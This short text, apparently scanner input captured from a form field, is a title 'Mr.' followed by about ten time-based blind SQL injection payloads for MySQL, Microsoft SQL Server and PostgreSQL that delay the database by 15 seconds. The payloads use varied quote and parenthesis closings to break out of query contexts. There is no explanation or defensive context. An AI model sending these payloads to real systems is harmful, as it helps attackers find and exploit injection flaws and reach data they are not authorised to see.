Mr.

(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

-1; waitfor delay '0:0:15' --

-1); waitfor delay '0:0:15' --

-1)); waitfor delay '0:0:15' --

1 waitfor delay '0:0:15' --

v1bnNBWL'; waitfor delay '0:0:15' --

EuDqEp5i'); waitfor delay '0:0:15' --

6idS75rz')); waitfor delay '0:0:15' --

-5 OR 979=(SELECT 979 FROM PG_SLEEP(15))--

-5) OR 686=(SELECT 686 FROM PG_SLEEP(15))--